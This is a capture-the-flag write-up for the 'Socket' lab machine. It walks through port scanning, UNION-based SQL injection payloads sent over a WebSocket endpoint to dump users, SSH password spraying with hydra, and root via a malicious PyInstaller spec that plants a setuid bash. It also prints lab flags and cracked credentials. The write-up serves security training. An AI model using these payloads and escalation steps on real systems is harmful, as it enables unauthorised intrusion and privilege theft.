Socket

Recon

nmap_scan.log
Open 10.129.228.216:22
Open 10.129.228.216:80
Open 10.129.228.216:5789
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.129.228.216

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIzAFurw3qLK4OEzrjFarOhWslRrQ3K/MDVL2opfXQLI+zYXSwqofxsf8v2MEZuIGj6540YrzldnPf8CTFSW2rk=
|   256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPTtbUicaITwpKjAQWp8Dkq1glFodwroxhLwJo6hRBUK
80/tcp   open  http    syn-ack Apache httpd 2.4.52
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://qreader.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
5789/tcp open  http    syn-ack websockets 10.4 (Python 3.10)
| http-methods: 
|_  Supported Methods: GET
|_http-title: Site doesn't have a title (text/plain).
|_http-server-header: Python/3.10 websockets/10.4
Service Info: Host: qreader.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP (80)

Application allows encoding and decoding QR codes.

Writeup.png

We can also make report, but nothing on XSS.

Writeup-1.png
└─$ feroxbuster -u 'http://qreader.htb' -w /usr/share/seclists/Discovery/Web-Content/common.txt -E -B -g -x png -I js,css
200      GET      134l      233w     2155c http://qreader.htb/static/css/footer.css
200      GET      197l      302w     4161c http://qreader.htb/report
405      GET        5l       20w      153c http://qreader.htb/reader
405      GET        5l       20w      153c http://qreader.htb/embed
200      GET       44l     5870w   258895c http://qreader.htb/static/css/mdb.min.css
200      GET        7l     1966w   155758c http://qreader.htb/static/css/bootstrap.min.css
200      GET        0l        0w 89608499c http://qreader.htb/download/windows
200      GET        0l        0w 107679534c http://qreader.htb/download/linux
200      GET      228l      638w     6992c http://qreader.htb/
403      GET        9l       28w      276c http://qreader.htb/server-status
[####################] - 25s     5032/5032    0s      found:74      errors:19
[####################] - 24s     4904/4904    203/s   http://qreader.htb/ 

We can also download the application for Linux or Windows

└─$ curl http://qreader.htb/download/linux -O
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  102M  100  102M    0     0  2217k      0  0:00:47  0:00:47 --:--:-- 3445k
└─$ file linux
linux: Zip archive data, at least v1.0 to extract, compression method=store
└─$ unzip linux
Archive:  linux
   creating: app/
  inflating: app/qreader
  inflating: app/test.png

Decoding test.png gives kavigihan:

└─$ curl http://qreader.htb/reader -F 'file=@test.png' -s | grep -A10 'Extracted text'
        <h2>Extracted text</h2>
        <p>kavigihan</p>
...

Nothing much so let's jump in the program itself.

The application does version check and updates, so it must be making requests somewhere. There's host ws://ws.qreader.htb:5789 and /version, /update endpoints.

Writeup-2.png
└─$ curl -LOs https://downloads.mitmproxy.org/11.0.1/mitmproxy-11.0.1-linux-x86_64.tar.gz
└─$ tar -xvzf mitmproxy-11.0.1-linux-x86_64.tar.gz
└─$ rm mitmproxy-11.0.1-linux-x86_64.tar.gz
└─$ chmod +x mitm*
└─$ ./mitmproxy --listen-port 5789 --mode reverse:http://10.129.228.216:5789
Writeup-3.png

Note: DNS is resolved to localhost so WE can catch them and inspect them.

mitmproxy seemed like a valid choice, but it wasn't able to resend/edit WebSocket communication. Turns out Burpsuite supports this and even more!

Writeup-4.png

SQLi in WebSockets

Writeup-5.png

https://exploit-notes.hdks.org/exploit/web/websocket-pentesting/

└─$ curl -LOs https://github.com/vi/websocat/releases/download/v1.14.0/websocat.x86_64-unknown-linux-musl
└─$ chmod +x websocat.x86_64-unknown-linux-musl
└─$ sudo mv websocat.x86_64-unknown-linux-musl /usr/local/bin/websocat
---
# Terminal A
└─$ cat sqli.txt | tr -d "\n" | websocat ws://10.129.228.216:5789/version | jq -r .message.downloads 
---
# Terminal B
└─$ nano sqli.txt
Writeup-6.png
"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' -- -"
---
"downloads": "sqlite_sequence,versions,users,info,reports,answers"
>>>
"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(name) FROM pragma_table_info('users') -- -"
---
"downloads": "id,username,password,role"
>>>
"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(id||CHAR(58)||username||CHAR(58)||password||CHAR(58)||role||CHAR(10)) FROM users -- -"
"downloads": "1:admin:0c090c365fa0559b151a43e0fea39710:admin\n"
Writeup-7.png

Creds: admin:denjanjade122566

No pages on main website and SSH doesn't work.

"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(id||CHAR(58)||key||CHAR(58)||value||CHAR(10)) FROM info -- -"
---
1:downloads:1000
,2:convertions:2289
>>>
"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(id||CHAR(58)||reporter_name||CHAR(58)||subject||CHAR(58)||description||CHAR(58)||reported_date||CHAR(10)) FROM reports -- -"
---
1:Jason:Accept JPEG files:Is there a way to convert JPEG images with this tool? Or should I convert my JPEG to PNG and then use it?:13/08/2022
,2:Mike:Converting non-ascii text:When I try to embed non-ascii text, it always gives me an error. It would be nice if you could take a look at this.:22/09/2022
>>>
"version": "0.0.3\" UNION SELECT 1,2,3,GROUP_CONCAT(id || CHAR(58) || answered_by || CHAR(58) || answer || CHAR(58) || answered_date || CHAR(58) || status || CHAR(10)) FROM answers -- -"
---
1:admin:Hello Json,

As if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.

Thomas Keller:17/08/2022:PENDING
,2:admin:Hello Mike,

 We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!

Thomas Keller:25/09/2022:PENDING

Pending status is to Thomas Keller, which should be local user.

└─$ namebuster 'Thomas Keller' > usernames.txt
└─$ hydra -L usernames.txt -p denjanjade122566 10.129.228.216 ssh
...
[22][ssh] host: 10.129.228.216   login: tkeller   password: denjanjade122566
...

SSH (22)

Creds: tkeller:denjanjade122566

└─$ ssh tkeller@qreader.htb
tkeller@socket:~$ id
uid=1001(tkeller) gid=1001(tkeller) groups=1001(tkeller),1002(shared)

User.txt

tkeller@socket:~$ cat user.txt
16bddb778e1fb9de2964dccd6909e5f3

Privilege Escalation

tkeller@socket:~$ find / -group shared 2>/dev/null
/opt/shared
tkeller@socket:~$ cd /opt/shared/
tkeller@socket:/opt/shared$ ls -alh
total 8.0K
drwxrwx--- 2 root shared 4.0K Feb 17  2023 .
drwxr-xr-x 3 root root   4.0K Nov 28  2022 ..
tkeller@socket:/opt/shared$ sudo -l
Matching Defaults entries for tkeller on socket:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
tkeller@socket:/opt/shared$ ls -alh /usr/local/sbin/build-installer.sh
-rwxr-xr-x 1 root root 1.1K Feb 17  2023 /usr/local/sbin/build-installer.sh
tkeller@socket:/opt/shared$ cat /usr/local/sbin/build-installer.sh
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi

Priv esc is related to pyinstaller, first to get idea what we are working with let's generate it:

tkeller@socket:/opt/shared$ cat t.py
import os
print('x')

tkeller@socket:/opt/shared$ sudo /usr/local/sbin/build-installer.sh make t.py
614 INFO: PyInstaller: 5.6.2
614 INFO: Python: 3.10.6
616 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
616 INFO: wrote /tmp/qreader.spec
622 INFO: UPX is not available.
624 INFO: Extending PYTHONPATH with paths
['/opt/shared']
1194 INFO: checking Analysis
1194 INFO: Building Analysis because Analysis-00.toc is non existent
1195 INFO: Initializing module dependency graph...
1198 INFO: Caching module graph hooks...
1209 WARNING: Several hooks defined for module 'numpy'. Please take care they do not conflict.
1217 INFO: Analyzing base_library.zip ...
2047 INFO: Loading module hook 'hook-heapq.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
2138 INFO: Loading module hook 'hook-encodings.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
3526 INFO: Loading module hook 'hook-pickle.py' from '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks'...
5195 INFO: Caching module dependency graph...
5295 INFO: running Analysis Analysis-00.toc
5322 INFO: Analyzing /opt/shared/t.py
5323 INFO: Processing module hooks...
5333 INFO: Looking for ctypes DLLs
5336 INFO: Analyzing run-time hooks ...
5338 INFO: Including run-time hook '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_inspect.py'
5342 INFO: Including run-time hook '/root/.local/lib/python3.10/site-packages/PyInstaller/hooks/rthooks/pyi_rth_subprocess.py'
5348 INFO: Looking for dynamic libraries
5822 INFO: Looking for eggs
5822 INFO: Python library not in binary dependencies. Doing additional searching...
5893 INFO: Using Python library /lib/x86_64-linux-gnu/libpython3.10.so.1.0
5895 INFO: Warnings written to /opt/shared/build/qreader/warn-qreader.txt
5908 INFO: Graph cross-reference written to /opt/shared/build/qreader/xref-qreader.html
5924 INFO: checking PYZ
5924 INFO: Building PYZ because PYZ-00.toc is non existent
5925 INFO: Building PYZ (ZlibArchive) /opt/shared/build/qreader/PYZ-00.pyz
6134 INFO: Building PYZ (ZlibArchive) /opt/shared/build/qreader/PYZ-00.pyz completed successfully.
6135 INFO: checking PKG
6136 INFO: Building PKG because PKG-00.toc is non existent
6136 INFO: Building PKG (CArchive) qreader.pkg
8804 INFO: Building PKG (CArchive) qreader.pkg completed successfully.
8805 INFO: Bootloader /root/.local/lib/python3.10/site-packages/PyInstaller/bootloader/Linux-64bit-intel/run
8805 INFO: checking EXE
8805 INFO: Building EXE because EXE-00.toc is non existent
8805 INFO: Building EXE from EXE-00.toc
8807 INFO: Copying bootloader EXE to /opt/shared/dist/qreader
8811 INFO: Appending PKG archive to custom ELF section in EXE
8845 INFO: Building EXE from EXE-00.toc completed successfully.
/usr/bin/mv: './dist' and '/opt/shared/dist' are the same file
/usr/bin/mv: './build' and '/opt/shared/build' are the same file

tkeller@socket:/opt/shared$ find
.
./build
./build/qreader
./build/qreader/warn-qreader.txt
./build/qreader/PYZ-00.toc
./build/qreader/localpycs
./build/qreader/localpycs/struct.pyc
./build/qreader/localpycs/pyimod01_archive.pyc
./build/qreader/localpycs/pyimod03_ctypes.pyc
./build/qreader/localpycs/pyimod02_importers.pyc
./build/qreader/PYZ-00.pyz
./build/qreader/xref-qreader.html
./build/qreader/base_library.zip
./build/qreader/PKG-00.toc
./build/qreader/Analysis-00.toc
./build/qreader/EXE-00.toc
./build/qreader/qreader.pkg
./dist
./dist/qreader
./t.py

tkeller@socket:/opt/shared$ cat /tmp/qreader.spec
# -*- mode: python ; coding: utf-8 -*-

block_cipher = None

a = Analysis(
    ['../opt/shared/t.py'],
    pathex=[],
    binaries=[],
    datas=[],
    hiddenimports=[],
    hookspath=[],
    hooksconfig={},
    runtime_hooks=[],
    excludes=[],
    win_no_prefer_redirects=False,
    win_private_assemblies=False,
    cipher=block_cipher,
    noarchive=False,
)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)

exe = EXE(
    pyz,
    a.scripts,
    a.binaries,
    a.zipfiles,
    a.datas,
    [],
    name='qreader',
    debug=False,
    bootloader_ignore_signals=False,
    strip=False,
    upx=True,
    upx_exclude=[],
    runtime_tmpdir=None,
    console=True,
    disable_windowed_traceback=False,
    argv_emulation=False,
    target_arch=None,
    codesign_identity=None,
    entitlements_file=None,
)

The pyinstaller is basically running python script with build command in script.

tkeller@socket:/opt/shared$ echo 'print(1337)' > t.py
tkeller@socket:/opt/shared$ sudo /usr/local/sbin/build-installer.sh make t.py
tkeller@socket:/opt/shared$ cp /tmp/qreader.spec /tmp/t.spec
tkeller@socket:/opt/shared$ nano /tmp/t.spec
tkeller@socket:/opt/shared$ grep os /tmp/t.spec
import os
os.system('install -m4777 /bin/bash /tmp/rootbash')
tkeller@socket:/opt/shared$ sudo /usr/local/sbin/build-installer.sh build /tmp/t.spec
125 INFO: PyInstaller: 5.6.2
126 INFO: Python: 3.10.6
129 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
134 INFO: UPX is not available.
script '/opt/shared/t.py' not found
/usr/bin/mv: './dist' and '/opt/shared/dist' are the same file
/usr/bin/mv: './build' and '/opt/shared/build' are the same file
tkeller@socket:/opt/shared$ ls -alh /tmp/rootbash
-rwsrwxrwx 1 root root 1.4M Nov 29 10:21 /tmp/rootbash
tkeller@socket:/opt/shared$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(tkeller) gid=1001(tkeller) euid=0(root) groups=1001(tkeller),1002(shared)

Root.txt

rootbash-5.1# cat /root/root.txt
3f58c99162976d59d761336f90ea5d04

Last updated